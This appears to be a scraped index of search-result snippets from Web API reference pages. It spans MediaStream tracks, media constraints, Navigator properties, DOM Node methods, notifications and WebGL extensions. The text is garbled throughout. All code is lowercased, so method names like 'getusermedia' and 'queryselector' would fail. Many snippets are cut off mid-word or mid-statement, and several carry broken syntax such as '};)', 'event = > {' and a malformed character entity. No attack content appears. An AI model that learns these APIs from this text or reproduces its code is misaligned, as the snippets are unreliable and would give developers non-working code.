var promise = navigator.mediadevices.getusermedia({ audio: true, video: true }); promise.then(function(stream) { var startbtn = document.queryselector('#startbtn'); startbtn.disabled = stream.active; };) specifications specification status comment media capture and streamsthe definition of 'active' in that specification.
... candidate recommendation initial definition.
MediaStream.addTrack() - Web APIs
return value undefined example specifications specification status comment media capture and streamsthe definition of 'addtrack()' in that specification.
... candidate recommendation initial specification.
MediaStream.clone() - Web APIs
WebAPIMediaStreamclone
specifications specification status comment media capture and streamsthe definition of 'mediastream.clone()' in that specification.
... candidate recommendation initial definition.
MediaStream.getAudioTracks() - Web APIs
navigator.mediadevices.getusermedia({audio: true, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the audio stream after 5 seconds settimeout(() => { const tracks = mediastream.getaudiotracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'getaudiotracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.getTracks() - Web APIs
example navigator.mediadevices.getusermedia({audio: false, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'gettracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.getVideoTracks() - Web APIs
var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and streamsthe definition of 'getvideotracks()' in that specification.
... candidate recommendation initial definition.
MediaStream.id - Web APIs
WebAPIMediaStreamid
syntax var id = mediastream.id; example var p = navigator.mediadevices.getusermedia({ audio: true, video: true }); p.then(function(stream) { console.log(stream.id); }) specifications specification status comment media capture and streamsthe definition of 'mediastream.id' in that specification.
... candidate recommendation initial definition.
MediaStream.onaddtrack - Web APIs
stream.onaddtrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onaddtrack' in that specification.
... candidate recommendation initial specification.
MediaStream.onremovetrack - Web APIs
stream.onremovetrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = "removed: " + event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onremovetrack' in that specification.
... candidate recommendation initial specification.
MediaStream - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastream' in that specification.
... candidate recommendation ...
MediaStreamConstraints.video - Web APIs
result specifications specification status comment media capture and streamsthe definition of 'mediastreamconstraints.video' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.applyConstraints() - Web APIs
}); }); specifications specification status comment media capture and streamsthe definition of 'applyconstraints()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.clone() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'clone()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.enabled - Web APIs
specifications specification status comment media capture and streamsthe definition of 'enabled' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack: ended event - Web APIs
ed', () => { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; }) you can also set up the event handler using the mediastreamtrack.onended property: track.onended = function() { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'ended' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.getCapabilities() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'getcapabilities()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.getConstraints() - Web APIs
function switchcameras(track, camera) { const constraints = track.getconstraints(); constraints.facingmode = camera; track.applyconstraints(constraints); } specifications specification status comment media capture and streamsthe definition of 'getconstraints()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.getSettings() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'getsettings()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.id - Web APIs
syntax const id = track.id specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.id' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.kind - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.kind' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.label - Web APIs
syntax const label = track.label specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.label' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack: mute event - Web APIs
the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.muted - Web APIs
let mutedcount = 0; tracklist.foreach((track) => { if (track.muted) { mutedcount += 1; } }); specifications specification status comment media capture and streamsthe definition of 'muted' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.onended - Web APIs
track.onended = function(event) { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onended' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.onmute - Web APIs
mytrack.onmute = function(evt) { playstateicon.innerhtml = "&#1f507;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.onunmute - Web APIs
mytrack.onunmute = function(evt) { playstateicon.innerhtml = "&#x1f508;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onunmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack.readyState - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.readystate' in that specification.
... candidate recommendation initial specification.
MediaStreamTrack: unmute event - Web APIs
the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrackEvent() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent()' in that specification.
... candidate recommendation ...
MediaStreamTrackEvent - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent' in that specification.
... candidate recommendation ...
MediaTrackConstraints.aspectRatio - Web APIs
specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.autoGainControl - Web APIs
specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.channelCount - Web APIs
specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.echoCancellation - Web APIs
specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.facingMode - Web APIs
specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.frameRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'framerate' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.height - Web APIs
specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.latency - Web APIs
specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.noiseSuppression - Web APIs
specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.sampleRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.sampleSize - Web APIs
specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate recommendation initial specification.
MediaTrackConstraints.width - Web APIs
specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.aspectRatio - Web APIs
specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.autoGainControl - Web APIs
specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.channelCount - Web APIs
specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.echoCancellation - Web APIs
specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.facingMode - Web APIs
specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.frameRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'framerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.height - Web APIs
specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.latency - Web APIs
specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.logicalSurface - Web APIs
the most common scenario in which a display surface may be a logical one is if the selected surface contains the entire content area of a window which is too large to display onscreen at once.
... specifications specification status comment screen capturethe definition of 'mediatracksettings.logicalsurface' in that specification.
MediaTrackSettings.noiseSuppression - Web APIs
specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
... candidate recommendation initial specification.
MediaTrackSettings.width - Web APIs
specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
ample html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.autoGainControl - Web APIs
html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.deviceId - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().deviceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
mple html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.facingMode - Web APIs
example html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().facingmode) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.frameRate - Web APIs
specifications specification status comment media capture and streamsthe definition of 'framerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.groupId - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.height - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.latency - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.sampleRate - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.sampleSize - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.width - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
... candidate recommendation initial specification.
MerchantValidationEvent() - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent()' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent.complete() - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent.complete()' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent.methodName - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent.methodname' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent.validationURL - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent.validationurl' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent - Web APIs
specifications specification status comment payment request apithe definition of 'merchantvalidationevent' in that specification.
... candidate recommendation initial definition.
MouseEvent.metaKey - Web APIs
note: on macintosh keyboards, this key is the command key (⌘).
... html <p>click anywhere to test the <code>metakey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.metakey' in that specification.
MouseEvent.movementX - Web APIs
="log">move your mouse around.</p> javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementx' in that specification.
... candidate recommendation initial definition ...
MouseEvent.movementY - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.innertext = `movement: ${event.movementx}, ${event.movementy}\n${log.innertext}`; } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementy' in that specification.
... candidate recommendation initial definition.
msRealTime - Web APIs
low-latency playback is useful in communication and some gaming scenarios, but is more demanding on power consumption and less reliable for smooth media playback.
... msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as this can affects playback startup latency of audio and video playback.
MutationObserver.MutationObserver() - Web APIs
dom observation does not begin immediately; the observe() method must be called first to establish which portion of the dom to watch and what kinds of changes to watch for.
... specifications specification status comment domthe definition of 'mutationobserver()' in that specification.
MutationObserverInit.characterData - Web APIs
character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
... example specifications specification status comment domthe definition of 'mutationobserverinit.characterdata' in that specification.
MutationObserverInit.characterDataOldValue - Web APIs
character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
... example specifications specification status comment domthe definition of 'mutationobserverinit.characterdataoldvalue' in that specification.
NDEFReader.scan() - Web APIs
WebAPINDEFReaderscan
return value a promise that resolves with undefined immediatelly after scheduling read operations for the nfc adapter.
... specifications specification status comment web nfc, scan() draft initial definition.
Navigator.geolocation - Web APIs
syntax geo = navigator.geolocation specifications specification status comment geolocation apithe definition of 'navigator.geolocation' in that specification.
... recommendation initial definition ...
Navigator.getBattery() - Web APIs
specifications specification status comment battery status apithe definition of 'navigator.getbattery()' in that specification.
... candidate recommendation initial definition ...
Navigator.maxTouchPoints - Web APIs
syntax touchpoints = navigator.maxtouchpoints; example if (navigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification.
... recommendation non-stable version.
Navigator.mediaDevices - Web APIs
specifications specification status comment media capture and streamsthe definition of 'navigatorusermedia.mediadevices' in that specification.
... candidate recommendation initial definition.
Navigator.registerContentHandler() - Web APIs
specifications specification status comment html 5.2the definition of 'registercontenthandler()' in that specification.
... recommendation this feature is present in html 5.2, but has since been removed from the whatwg html living standard.
Navigator.requestMediaKeySystemAccess() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'requestmediakeysystemaccess()' in that specification.
... recommendation initial definition ...
Navigator.sendBeacon() - Web APIs
specifications specification status comment beaconthe definition of 'sendbeacon()' in that specification.
... candidate recommendation initial definition ...
Navigator.serviceWorker - Web APIs
the navigator.serviceworker read-only property returns the serviceworkercontainer object for the associated document, which provides access to registration, removal, upgrade, and communication with the serviceworker.
...} specifications specification status comment service workersthe definition of 'navigator.serviceworker' in that specification.
Navigator.share() - Web APIs
WebAPINavigatorshare
it will reject immediately if the data parameter is not correctly specified, and will also reject if the user cancels sharing.
...igator.canshare && navigator.canshare({ files: filesarray })) { navigator.share({ files: filesarray, title: 'pictures', text: 'our pictures.', }) .then(() => console.log('share was successful.')) .catch((error) => console.log('sharing failed', error)); } else { console.log(`your system doesn't support sharing files.`); } specifications specification status comment web share apithe definition of 'share()' in that specification.
Navigator.wakeLock - Web APIs
while a screen wake lock is active, the user agent will try to prevent the device from dimming the screen, turning it off completely, or showing a screensaver.
... syntax const wakelock = navigator.wakelock; specifications specification status comment screen wake lock api editor's draft initial definition ...
NavigatorID.userAgent - Web APIs
browser identification based on detecting the user agent string is unreliable and is not recommended, as the user agent string is user configurable.
...llowing general structure: useragent = appcodename/appversion number (platform; security; os-or-cpu; localization; rv: revision-version-number) product/productsub application-name application-name-version example alert(window.navigator.useragent) // alerts "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape6/6.1" specifications specification status comment html living standardthe definition of 'navigatorid.useragent' in that specification.
NavigatorID - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid' in that specification.
... recommendation initial specification.
NavigatorLanguage - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorlanguage' in that specification.
... recommendation initial specification; snapshot of an early version html living standard.
NavigatorStorage - Web APIs
the storage standard is designed to serve as a common basis for the implementation of all of those apis and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.
... specifications specification status comment storage living standard initial definition.
NetworkInformation.type - Web APIs
the networkinformation.type read-only property returns the type of connection a device is using to communicate with the network.
... syntax var type = netinfo.type return value an enumerated value that is one of the following values: "bluetooth" "cellular" "ethernet" "none" "wifi" "wimax" "other" "unknown" specifications specification status comment network information apithe definition of 'type' in that specification.
Network Information API - Web APIs
let preloadvideo = true; var connection = navigator.connection || navigator.mozconnection || navigator.webkitconnection; if (connection) { if (connection.effectivetype === 'slow-2g') { preloadvideo = false; } } interfaces networkinformation provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes.
... specifications specification status comment network information apithe definition of 'network information api' in that specification.
Node.appendChild() - Web APIs
WebAPINodeappendChild
syntax element.appendchild(achild) parameters achild the node to append to the given parent node (commonly an element).
... example // create a new paragraph element, and append it to the end of the document body let p = document.createelement("p"); document.body.appendchild(p); specifications specification status comment domthe definition of 'node.appendchild()' in that specification.
Node.childNodes - Web APIs
WebAPINodechildNodes
(in (x)html documents this is the html element.) childnodes includes all child nodes—including non-element nodes like text and comment nodes.
... specifications specification status comment domthe definition of 'node.childnodes' in that specification.
Node.firstChild - Web APIs
WebAPINodefirstChild
to avoid the issue with node.firstchild returning #text or #comment nodes, parentnode.firstelementchild can be used to return only the first element node.
... specifications specification status comment domthe definition of 'node.firstchild' in that specification.
Node.insertBefore() - Web APIs
WebAPINodeinsertBefore
in the previous example, sp1 could be inserted after sp2 using: parentdiv.insertbefore(sp1, sp2.nextsibling) if sp2 does not have a next sibling, then it must be the last child — sp2.nextsibling returns null, and sp1 is inserted at the end of the child node list (immediately after sp2).
... specifications specification status comment domthe definition of 'node.insertbefore' in that specification.
Node.lastChild - Web APIs
WebAPINodelastChild
if its parent is an element, then the child is generally an element node, a text node, or a comment node.
... syntax var childnode = node.lastchild; example var tr = document.getelementbyid("row1"); var corner_td = tr.lastchild; specifications specification status comment domthe definition of 'node.lastchild' in that specification.
Node.localName - Web APIs
WebAPINodelocalName
for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partners> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elem...
... specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.localname' in that specification.
Node.nodeName - Web APIs
WebAPINodenodeName
values for the different types of nodes are: interface nodename value attr the value of attr.name cdatasection "#cdata-section" comment "#comment" document "#document" documentfragment "#document-fragment" documenttype the value of documenttype.name element the value of element.tagname entity the entity name entityreference the name of entity reference notation the notation name processinginstruction the value of processinginstruction.target text "#text" example given the following markup: <d...
... specifications specification status comment domthe definition of 'nodename' in that specification.
Node.previousSibling - Web APIs
the node.previoussibling read-only property returns the node immediately preceding the specified one in its parent's childnodes list, or null if the specified node is the first in that list.
... specifications specification status comment domthe definition of 'node.previoussibling' in that specification.
Node.removeChild() - Web APIs
WebAPINoderemoveChild
in the second syntax form, however, there is no oldchild reference kept, so assuming your code has not kept any other reference to the node elsewhere, it will immediately become unusable and irretrievable, and will usually be automatically deleted from memory after a short time.
... id="top"> <div id="nested"></div> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // this first call correctly removes the node let garbage = top.removechild(nested); // throws uncaught notfounderror garbage = top.removechild(nested); </script> specifications specification status comment domthe definition of 'node: removechild' in that specification.
NodeIterator.whatToShow - Web APIs
nodefilter.show_comment 128 shows comment nodes.
... example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element + nodefilter.show_comment + nodefilter.show_text, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); if( (nodeiterator.whattoshow == nodefilter.show_all) || (nodeiterator.whattoshow % (nodefilter.show_comment*2)) >= nodefilter.show_comment) { // nodeiterator will show comments } specifications specification status comment domthe definition of 'nodeit...
NodeIterator - Web APIs
nodefilter.show_comment 128 shows comment nodes.
... specifications specification status comment domthe definition of 'nodeiterator' in that specification.
NodeList.prototype.forEach() - Web APIs
WebAPINodeListforEach
specifications specification status comment web idlthe definition of 'foreach' in that specification.
... candidate recommendation defines foreach on iterable declarations browser compatibility the compatibility table on this page is generated from structured data.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
the nondocumenttypechildnode.nextelementsibling read-only property returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list.
...sibling', { configurable: true, enumerable: true, get: function () { var el = this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'childnodenextelementsibling' in that specification.
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the nondocumenttypechildnode.previouselementsibling read-only property returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
...bling', { configurable: true, enumerable: true, get: function () { let el = this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibling' in that specification.
Notification.actions - Web APIs
this is a list of the application-defined actions the user can choose to take immediately within the context of a notification.
... specifications specification status comment notifications apithe definition of 'actions' in that specification.
Notification.requestPermission() - Web APIs
this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
... specifications specification status comment notifications api living standard living standard ...
Notification.tag - Web APIs
WebAPINotificationtag
one notification can then be programmatically replaced with another to avoid the users' screen being filled up with a huge number of similar notifications.
... specifications specification status comment notifications apithe definition of 'tag' in that specification.
NotificationAction - Web APIs
here a service worker shows a notification with a single "archive" action, allowing users to perform this common task from the notification without having to open the website.
... action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status comment notifications api living standard living standard ...
Notifications API - Web APIs
this should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { let promise = notification.requestpermission(); // wait for permission }) this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
... specifications specification status comment notifications api living standard living standard ...
OES_element_index_uint - Web APIs
examples var ext = gl.getextension('oes_element_index_uint'); gl.drawelements(gl.points, 8, gl.unsigned_int, 0); specifications specification status comment oes_element_index_uintthe definition of 'oes_element_index_uint' in that specification.
... recommendation initial definition.
OES_standard_derivatives - Web APIs
type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment oes_standard_derivativesthe definition of 'oes_standard_derivatives' in that specification.
... recommendation initial definition.
OES_texture_float - Web APIs
examples var ext = gl.getextension('oes_texture_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_floatthe definition of 'oes_texture_float' in that specification.
... recommendation initial definition.
OES_texture_float_linear - Web APIs
examples gl.getextension('oes_texture_float'); gl.getextension('oes_texture_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_float_linearthe definition of 'oes_texture_float_linear' in that specification.
... recommendation initial definition.
OES_texture_half_float - Web APIs
examples var ext = gl.getextension('oes_texture_half_float'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, ext.half_float_oes, image); specifications specification status comment oes_texture_half_floatthe definition of 'oes_texture_half_float' in that specification.
... recommendation initial definition.
OES_texture_half_float_linear - Web APIs
amples var halffloat = gl.getextension('oes_texture_half_float'); gl.getextension('oes_texture_half_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, halffloat.half_float_oes, image); specifications specification status comment oes_texture_half_float_linearthe definition of 'oes_texture_half_float_linear' in that specification.
... recommendation initial definition.
OES_vertex_array_object.bindVertexArrayOES() - Web APIs
specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OES_vertex_array_object.createVertexArrayOES() - Web APIs
specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OES_vertex_array_object.deleteVertexArrayOES() - Web APIs
ext.deletevertexarrayoes(vao); specifications specification status comment oes_vertex_array_objectthe definition of 'oes_vertex_array_object' in that specification.
... recommendation initial definition.
OES_vertex_array_object.isVertexArrayOES() - Web APIs
